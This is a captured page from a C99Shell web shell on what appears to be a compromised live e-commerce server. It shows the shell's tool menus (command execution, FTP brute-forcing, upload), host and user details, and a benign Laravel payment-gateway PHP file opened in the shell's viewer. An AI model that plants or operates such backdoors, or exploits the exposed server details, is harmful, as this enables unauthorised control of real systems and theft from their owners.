!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Gateway/Entities/   drwxr-xr-x
Free 26.47 GB of 117.98 GB (22.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GatewayModule.php (2.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Gateway\Entities;

use 
Nwidart\Modules\Exceptions\ModuleNotFoundException;
use 
Nwidart\Modules\Facades\Module;

class 
GatewayModule extends Module
{
    private 
$nameOnly false;
    private 
$enabledOnly false;



    
/**
     * Sets enabledOnly attribute
     *
     * @return this
     */
    
public function setEnabledOnly($enabled true)
    {
        
$this->enabledOnly $enabled;
        return 
$this;
    }


    
/**
     * Sets nameOnly attribute
     *
     * @return this
     */
    
public function setNameOnly($name true)
    {
        
$this->nameOnly $name;
        return 
$this;
    }


    
/**
     * Returns all the payment gateways based on conditions
     *
     * @return Array
     */
    
public function paymentGateways()
    {
        
$addons $this->enabledOnly parent::allEnabled() : parent::all();
        
$gateways = array();

        foreach (
$addons as $addon) {
            if (
$addon->get('gateway')) {
                
$gateways[] = $this->nameOnly $addon->getName() : $addon;
            }
        }
        return 
$gateways;
    }

    
/**
     * Returns all offline the payment gateways based on conditions
     *
     * @return Array
     */
    
public function offlinePaymentGateways(): array
    {
        
$addons $this->enabledOnly parent::allEnabled() : parent::all();
        
$gateways = array();

        foreach (
$addons as $addon) {
            if (
$addon->get('offline')) {
                
$gateways[] = $this->nameOnly $addon->getName() : $addon;
            }
        }
        return 
$gateways;
    }


    
/**
     * Returns all the payable payment gateways
     *
     * @return Array
     */
    
public function payableGateways()
    {
        
$modules $this->setNameOnly()->setEnabledOnly()->paymentGateways();
        
$gateways Gateway::active()->get();

        
$payableGateways = array();

        foreach (
$gateways as $gateway) {
            if (
in_array($gateway->name$modules)) {
                
$payableGateways[] = $gateway;
            };
        }

        return 
$payableGateways;
    }

    
/**
     * Returns all offline the payable payment gateways
     *
     * @return Array
     */
    
public function offlinePayableGateways(): array
    {
        
$modules $this->setNameOnly()->setEnabledOnly()->offlinePaymentGateways();
        
$gateways Gateway::active()->get();

        
$payableGateways = array();

        foreach (
$gateways as $gateway) {
            if (
in_array($gateway->name$modules)) {
                
$payableGateways[] = $gateway;
            };
        }

        return 
$payableGateways;
    }



    public function 
findModule($name)
    {
        
$module GatewayModule::findOrFail($name);
        if (
$module->get('gateway')) {
            return 
$module;
        }
        throw new 
ModuleNotFoundException(__(':name payment gateway module not found.', ['name' => ucfirst($name)]));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--